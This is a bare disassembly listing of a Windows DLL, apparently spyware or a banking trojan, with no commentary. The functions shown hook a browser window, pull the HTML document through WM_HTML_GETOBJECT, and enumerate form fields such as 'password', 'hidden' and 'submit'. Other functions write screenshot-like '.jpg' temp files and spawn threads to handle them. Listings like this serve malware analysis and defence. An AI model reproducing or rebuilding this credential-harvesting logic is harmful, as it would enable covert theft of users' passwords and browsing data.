		mov	[ebp+var_134], ecx
		push	200h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpWideCharStr], eax
		mov	edx, [ebp+lpWideCharStr]
		push	edx		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathW	; GetTempPathW
		call	ds:GetTickCount	; GetTickCount
		push	eax
		push	offset byte_10065ED8
		mov	eax, [ebp+lpWideCharStr]
		push	eax
		push	offset aSHs_D_tmp ; "%s%hs_%d.tmp"
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; LPWSTR
		call	ds:wsprintfW	; wsprintfW
		add	esp, 14h
		cmp	dword_10037124,	0
		jz	short loc_10003202
		push	0
		push	offset dword_10030218
		lea	ecx, [ebp+var_12C]
		call	sub_1000D3D0
		mov	[ebp+var_258], eax
		lea	edx, [ebp+var_150]
		push	edx
		push	offset dword_10034250
		mov	eax, [ebp+lpWideCharStr]
		push	eax
		mov	ecx, [ebp+var_258]
		call	sub_1000D120
		jmp	short loc_10003220
; ---------------------------------------------------------------------------


loc_10003202:				; CODE XREF: TimerFunc+1EAj
		lea	ecx, [ebp+var_150]
		push	ecx
		push	offset dword_10034250
		mov	edx, [ebp+lpWideCharStr]
		push	edx
		lea	ecx, [ebp+var_12C]
		call	sub_1000D120


loc_10003220:				; CODE XREF: TimerFunc+222j
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		mov	eax, [ebp+lpWideCharStr]
		push	eax		; Str
		call	ds:__imp_wcslen
		add	esp, 4
		lea	ecx, [eax+eax+1]
		push	ecx		; cbMultiByte
		lea	edx, [ebp+MultiByteStr]
		push	edx		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		mov	eax, [ebp+lpWideCharStr]
		push	eax		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	ecx, [ebp+lpWideCharStr]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+var_110], 0


loc_1000326D:				; CODE XREF: TimerFunc+2BAj
		mov	edx, [ebp+var_110]
		cmp	dword_1004B770[edx*4], 0
		jz	short loc_1000329A
		cmp	[ebp+var_110], 1000h
		jge	short loc_1000329A
		mov	eax, [ebp+var_110]
		add	eax, 1
		mov	[ebp+var_110], eax
		jmp	short loc_1000326D
; ---------------------------------------------------------------------------


loc_1000329A:				; CODE XREF: TimerFunc+29Dj
					; TimerFunc+2A9j
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_110]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_0	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_110]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_110]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_110]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpString2
		mov	ecx, [ebp+var_110]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10003354:				; CODE XREF: TimerFunc+39Dj
		push	2Fh		; Val
		push	offset Str	; Str
		call	ds:strchr	; strchr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000337D
		push	2Fh		; Val
		push	offset Str	; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	23h
		jmp	short loc_10003354
; ---------------------------------------------------------------------------


loc_1000337D:				; CODE XREF: TimerFunc+388j
		push	offset Str
		call	sub_1000116E
		add	esp, 4
		push	offset Str
		push	offset byte_10065ED8
		push	offset aS__S_jpg ; "%s__%s.jpg"
		mov	eax, [ebp+var_110]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	edx, [ebp+var_110]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_110]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_110]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+30Ch], 1
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+var_110]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_12C]
		call	sub_1000D180


loc_10003416:				; CODE XREF: TimerFunc+ECj
					; TimerFunc+103j
		mov	eax, ho
		push	eax		; ho
		call	ds:DeleteObject	; DeleteObject
		mov	dword_1006A900,	0
		cmp	dword_10037124,	0
		jnz	short loc_1000343D
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------


loc_1000343D:				; CODE XREF: TimerFunc+455j
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_11C]
		call	sub_1000EA94


loc_1000344F:				; CODE XREF: TimerFunc+53j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	10h
TimerFunc	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10003460(HWND hWnd,	int)

sub_10003460	proc near		; CODE XREF: sub_10001D30+41p
					; sub_10004960+97p ...

hmod		= dword	ptr -4
hWnd		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aMs32clod_1 ; "ms32clod"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	[ebp+hmod], eax
		cmp	dword_1006A964,	0
		jz	short loc_10003486
		mov	eax, hWnd
		push	eax
		call	sub_100034DC


loc_10003486:				; CODE XREF: sub_10003460+19j
		push	0		; lpdwProcessId
		mov	ecx, [ebp+hWnd]
		push	ecx		; hWnd
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax		; dwThreadId
		mov	edx, [ebp+hmod]
		push	edx		; hmod
		push	offset sub_10003541 ; lpfn
		push	4		; idHook
		call	ds:SetWindowsHookExA	; SetWindowsHookExA
		mov	dword_1006A964,	eax
		cmp	dword_1006A964,	0
		jnz	short loc_100034B6
		xor	eax, eax
		jmp	short loc_100034D6
; ---------------------------------------------------------------------------


loc_100034B6:				; CODE XREF: sub_10003460+50j
		mov	eax, [ebp+hWnd]
		mov	hWnd, eax
		mov	ecx, [ebp+arg_4]
		mov	Msg, ecx
		mov	dword_10073980,	1
		mov	eax, 1


loc_100034D6:				; CODE XREF: sub_10003460+54j
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10003460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100034DC	proc near		; CODE XREF: sub_10001D30+4Fp
					; sub_10003460+21p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, offset dword_100281E0
		call	sub_1000E160
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_10003518
		mov	ecx, offset dword_100281E0
		call	sub_1000E130
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		push	edx
		call	dword ptr [ecx+8]
		push	0
		mov	ecx, offset dword_100281E0
		call	sub_1000E210


loc_10003518:				; CODE XREF: sub_100034DC+15j
		mov	dword_10073980,	0
		cmp	dword_1006A964,	0
		jz	short loc_10003539
		mov	eax, dword_1006A964
		push	eax		; hhk
		call	ds:UnhookWindowsHookEx	; UnhookWindowsHookEx
		jmp	short loc_1000353B
; ---------------------------------------------------------------------------


loc_10003539:				; CODE XREF: sub_100034DC+4Dj
		xor	eax, eax


loc_1000353B:				; CODE XREF: sub_100034DC+5Bj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_100034DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; LRESULT __stdcall sub_10003541(int, WPARAM, LPARAM)

sub_10003541	proc near		; DATA XREF: sub_10003460+37o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
nCode		= dword	ptr  8
wParam		= dword	ptr  0Ch
lParam		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+lParam]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		cmp	edx, Msg
		jnz	short loc_100035C6
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		cmp	ecx, hWnd
		jnz	short loc_100035C6
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 2
		jnz	short loc_100035C6
		push	0		; pvReserved
		call	ds:CoInitialize
		call	sub_10003645
		test	eax, eax
		jz	short loc_10003588
		call	sub_10003786


loc_10003588:				; CODE XREF: sub_10003541+40j
		mov	ecx, offset dword_100281E0
		call	sub_1000E160
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100035C0
		mov	ecx, offset dword_100281E0
		call	sub_1000E130
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_8]
		push	edx
		call	dword ptr [ecx+8]
		push	0
		mov	ecx, offset dword_100281E0
		call	sub_1000E210


loc_100035C0:				; CODE XREF: sub_10003541+58j
		call	ds:CoUninitialize


loc_100035C6:				; CODE XREF: sub_10003541+18j
					; sub_10003541+26j ...
		cmp	[ebp+nCode], 0
		jge	short loc_100035E6
		mov	eax, [ebp+lParam]
		push	eax		; lParam
		mov	ecx, [ebp+wParam]
		push	ecx		; wParam
		mov	edx, [ebp+nCode]
		push	edx		; nCode
		mov	eax, dword_1006A964
		push	eax		; hhk
		call	ds:CallNextHookEx	; CallNextHookEx
		jmp	short loc_100035FF
; ---------------------------------------------------------------------------


loc_100035E6:				; CODE XREF: sub_10003541+89j
		mov	ecx, [ebp+lParam]
		push	ecx		; lParam
		mov	edx, [ebp+wParam]
		push	edx		; wParam
		mov	eax, [ebp+nCode]
		push	eax		; nCode
		mov	ecx, dword_1006A964
		push	ecx		; hhk
		call	ds:CallNextHookEx	; CallNextHookEx


loc_100035FF:				; CODE XREF: sub_10003541+A3j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_10003541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003605	proc near		; CODE XREF: sub_10001D30+46p
					; sub_10004960+9Cp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_1006A964,	0
		jz	short loc_10003623
		cmp	hWnd, 0
		jz	short loc_10003623
		cmp	Msg, 0
		jnz	short loc_10003627


loc_10003623:				; CODE XREF: sub_10003605+Aj
					; sub_10003605+13j
		xor	eax, eax
		jmp	short loc_10003643
; ---------------------------------------------------------------------------


loc_10003627:				; CODE XREF: sub_10003605+1Cj
		push	0		; lParam
		push	2		; wParam
		mov	eax, Msg
		push	eax		; Msg
		mov	ecx, hWnd
		push	ecx		; hWnd
		call	ds:SendMessageA	; SendMessageA
		mov	eax, 1


loc_10003643:				; CODE XREF: sub_10003605+20j
		pop	ebp
		retn
sub_10003605	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003645	proc near		; CODE XREF: sub_10003541+39p

var_7C		= dword	ptr -7Ch
Msg		= dword	ptr -78h
sz		= word ptr -74h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
hLibModule	= dword	ptr -18h
dwResult	= dword	ptr -14h
pclsid		= CLSID	ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		push	edi
		push	0		; pvReserved
		call	ds:CoInitialize
		push	offset LibFileName ; "OLEACC.DLL"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	[ebp+hLibModule], eax
		cmp	[ebp+hLibModule], 0
		jnz	short loc_10003670
		xor	eax, eax
		jmp	loc_10003780
; ---------------------------------------------------------------------------


loc_10003670:				; CODE XREF: sub_10003645+22j
		mov	[ebp+dwResult],	0
		push	offset aWm_html_getobj ; "WM_HTML_GETOBJECT"
		call	ds:RegisterWindowMessageA	; RegisterWindowMessageA
		mov	[ebp+Msg], eax
		lea	eax, [ebp+dwResult]
		push	eax		; lpdwResult
		push	3E8h		; uTimeout
		push	2		; fuFlags
		push	0		; lParam
		push	0		; wParam
		mov	ecx, [ebp+Msg]
		push	ecx		; Msg
		mov	edx, hWnd
		push	edx		; hWnd
		call	ds:SendMessageTimeoutA	; SendMessageTimeoutA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_100036B5
		xor	eax, eax
		jmp	loc_10003780
; ---------------------------------------------------------------------------


loc_100036B5:				; CODE XREF: sub_10003645+67j
		push	offset aObjectfromlres ; "ObjectFromLresult"
		mov	eax, [ebp+hLibModule]
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_100036E4
		mov	ecx, [ebp+hLibModule]
		push	ecx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		call	ds:CoUninitialize
		xor	eax, eax
		jmp	loc_10003780
; ---------------------------------------------------------------------------


loc_100036E4:				; CODE XREF: sub_10003645+86j
		mov	ecx, 13h
		mov	esi, offset a626fc520A41e11 ; "{626fc520-a41e-11cf-a731-00a0c9082637}"
		lea	edi, [ebp+sz]
		rep movsd
		movsw
		lea	edx, [ebp+pclsid]
		push	edx		; pclsid
		lea	eax, [ebp+sz]
		push	eax		; lpsz
		call	ds:CLSIDFromString
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jge	short loc_10003720
		mov	ecx, [ebp+hLibModule]
		push	ecx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		call	ds:CoUninitialize
		xor	eax, eax
		jmp	short loc_10003780
; ---------------------------------------------------------------------------


loc_10003720:				; CODE XREF: sub_10003645+C5j
		mov	ecx, offset dword_100281E0
		call	sub_1000E1F0
		push	eax
		push	0
		push	offset dword_10023368
		mov	edx, [ebp+dwResult]
		push	edx
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jl	short loc_10003757
		push	0
		mov	ecx, offset dword_100281E0
		call	sub_1000E180
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000376B


loc_10003757:				; CODE XREF: sub_10003645+FBj
		mov	eax, [ebp+hLibModule]
		push	eax		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		call	ds:CoUninitialize
		xor	eax, eax
		jmp	short loc_10003780
; ---------------------------------------------------------------------------


loc_1000376B:				; CODE XREF: sub_10003645+110j
		mov	ecx, [ebp+hLibModule]
		push	ecx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		call	ds:CoUninitialize
		mov	eax, 1


loc_10003780:				; CODE XREF: sub_10003645+26j
					; sub_10003645+6Bj ...
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_10003645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003786	proc near		; CODE XREF: sub_10003541+42p

var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
pvargSrc	= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= byte ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= byte ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= byte ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= byte ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= byte ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_190		= byte ptr -190h
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_178		= byte ptr -178h
var_168		= byte ptr -168h
var_158		= byte ptr -158h
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
Point		= tagPOINT ptr -140h
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_120		= byte ptr -120h
var_11C		= byte ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
var_FC		= byte ptr -0FCh
var_F8		= byte ptr -0F8h
var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
String		= byte ptr -0ECh
var_EB		= byte ptr -0EBh
lpString	= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
Str		= dword	ptr -78h
var_74		= byte ptr -74h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
lpString1	= dword	ptr -44h
var_40		= byte ptr -40h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10003786
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2A4h
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset dword_100281E0
		call	sub_1000E130
		mov	[ebp+var_230], eax
		mov	ecx, [ebp+var_230]
		mov	edx, [ecx]
		mov	eax, [ebp+var_230]
		push	eax
		call	dword ptr [edx+20h]
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jge	short loc_100037DC
		xor	eax, eax
		jmp	loc_10004950
; ---------------------------------------------------------------------------


loc_100037DC:				; CODE XREF: sub_10003786+4Dj
		push	8000h		; Size
		push	0		; Val
		push	offset String1	; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	dword_10073974,	0
		mov	dword_10073978,	0
		mov	[ebp+String], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_EB]
		rep stosd
		stosw
		stosb
		mov	[ebp+lpString1], 0
		mov	ecx, 9
		xor	eax, eax
		lea	edi, [ebp+var_40]
		rep stosd
		mov	[ebp+Str], 0
		mov	ecx, 9
		xor	eax, eax
		lea	edi, [ebp+var_74]
		rep stosd
		mov	[ebp+lpString],	0
		mov	ecx, 9
		xor	eax, eax
		lea	edi, [ebp+var_A8]
		rep stosd
		mov	[ebp+var_84], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_80], 0
		cmp	dword_10022110,	3E8h
		jge	loc_1000396F
		cmp	dword_10022110,	0FFFFFFFFh
		jz	loc_1000396F
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		cmp	dword ptr [edx+10h], 0
		jz	short loc_100038CC
		push	offset asc_100228AC ; ","
		lea	eax, [ebp+lpString1]
		push	eax		; int
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+10h]
		push	eax		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+var_84], eax


loc_100038CC:				; CODE XREF: sub_10003786+11Cj
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		cmp	dword ptr [edx+14h], 0
		jz	short loc_10003904
		push	offset asc_100228B0 ; ","
		lea	eax, [ebp+Str]
		push	eax		; int
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+14h]
		push	eax		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+var_1C], eax


loc_10003904:				; CODE XREF: sub_10003786+157j
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		cmp	dword ptr [edx+18h], 0
		jz	short loc_1000393F
		push	offset asc_100228B4 ; ","
		lea	eax, [ebp+lpString]
		push	eax		; int
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+18h]
		push	eax		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	[ebp+var_80], eax


loc_1000393F:				; CODE XREF: sub_10003786+18Fj
		mov	ecx, dword_10022110
		mov	edx, dword_10034464[ecx*4]
		cmp	dword ptr [edx+0Ch], 0
		jz	short loc_1000396F
		mov	eax, dword_10022110
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+0Ch]
		push	edx		; lpString2
		lea	eax, [ebp+String]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_1000396F:				; CODE XREF: sub_10003786+F8j
					; sub_10003786+105j ...
		lea	ecx, [ebp+var_18]
		call	??0_Container_base@std@@QAE@XZ ; std::_Container_base::_Container_base(void)
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_14]
		call	??0_Container_base@std@@QAE@XZ ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_7C]
		push	ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	ecx, [ebp+var_10]
		push	ecx
		call	dword ptr [eax+24h]
		mov	[ebp+var_4C], 0
		jmp	short loc_100039AC
; ---------------------------------------------------------------------------


loc_100039A3:				; CODE XREF: sub_10003786+413j
					; sub_10003786+784j ...
		mov	edx, [ebp+var_4C]
		add	edx, 1
		mov	[ebp+var_4C], edx


loc_100039AC:				; CODE XREF: sub_10003786+21Bj
		mov	eax, [ebp+var_4C]
		cmp	eax, [ebp+var_7C]
		jge	loc_10004912
		mov	ecx, [ebp+var_4C]
		push	ecx
		lea	ecx, [ebp+var_168]
		call	sub_1000DAB0
		mov	[ebp+var_234], eax
		mov	edx, [ebp+var_234]
		mov	[ebp+pvargSrc],	edx
		mov	byte ptr [ebp+var_4], 2
		mov	eax, [ebp+pvargSrc]
		push	eax		; pvargSrc
		lea	ecx, [ebp+var_158]
		call	sub_1000DA10
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_4C]
		push	ecx
		lea	ecx, [ebp+var_188]
		call	sub_1000DAB0
		mov	[ebp+var_23C], eax
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_240], edx
		mov	byte ptr [ebp+var_4], 4
		mov	eax, [ebp+var_240]
		push	eax		; pvargSrc
		lea	ecx, [ebp+var_178]
		call	sub_1000DA10
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_158]
		push	ecx
		lea	edx, [ebp+var_178]
		push	edx
		lea	eax, [ebp+var_18C]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_1000DDE0
		mov	[ebp+var_244], eax
		mov	ecx, [ebp+var_244]
		call	unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	[ebp+var_110], eax
		lea	ecx, [ebp+var_18C]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_178]
		call	sub_1000DA70
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_188]
		call	sub_1000DA90
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_158]
		call	sub_1000DA70
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_168]
		call	sub_1000DA90
		lea	ecx, [ebp+var_100]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_100]
		call	sub_1000E1F0
		push	eax
		mov	ecx, [ebp+var_110]
		push	ecx
		call	sub_1000E340
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jl	short loc_10003B4B
		lea	edx, [ebp+var_190]
		push	edx
		lea	ecx, [ebp+var_100]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DB20
		mov	[ebp+var_248], eax
		mov	eax, [ebp+var_248]
		push	eax
		lea	ecx, [ebp+var_18]
		call	sub_1000D640
		lea	ecx, [ebp+var_190]
		call	sub_1000D620
		lea	ecx, [ebp+var_194]
		push	ecx
		lea	ecx, [ebp+var_100]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DC80
		mov	[ebp+var_24C], eax
		mov	edx, [ebp+var_24C]
		push	edx
		lea	ecx, [ebp+var_14]
		call	sub_1000D640
		lea	ecx, [ebp+var_194]
		call	sub_1000D620


loc_10003B4B:				; CODE XREF: sub_10003786+351j
		lea	ecx, [ebp+var_F4]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_F4]
		call	sub_1000E1F0
		push	eax
		mov	eax, [ebp+var_110]
		push	eax
		call	sub_1000E360
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jge	short loc_10003B9E
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_F4]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_100]
		call	sub_1000E1D0
		jmp	loc_100039A3
; ---------------------------------------------------------------------------


loc_10003B9E:				; CODE XREF: sub_10003786+3F3j
		push	offset MultiByteStr ; "password"
		lea	ecx, [ebp+var_10C]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 8
		push	offset aText	; "text"
		lea	ecx, [ebp+var_F0]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 9
		push	offset aHidden	; "hidden"
		lea	ecx, [ebp+var_108]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 0Ah
		push	offset aSubmit	; "submit"
		lea	ecx, [ebp+var_FC]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 0Bh
		push	offset aButton	; "button"
		lea	ecx, [ebp+var_104]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 0Ch
		push	offset aImage	; "image"
		lea	ecx, [ebp+var_F8]
		call	?register_callback@ios_base@std@@QAEXP6AXW4event@12@AAV12@H@ZH@Z ; std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base	&,int),int)
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_104]
		push	ecx
		lea	edx, [ebp+var_19C]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_250], eax
		mov	eax, [ebp+var_250]
		mov	[ebp+var_254], eax
		mov	byte ptr [ebp+var_4], 0Eh
		mov	ecx, [ebp+var_254]
		call	sub_1000D6A0
		and	eax, 0FFh
		test	eax, eax
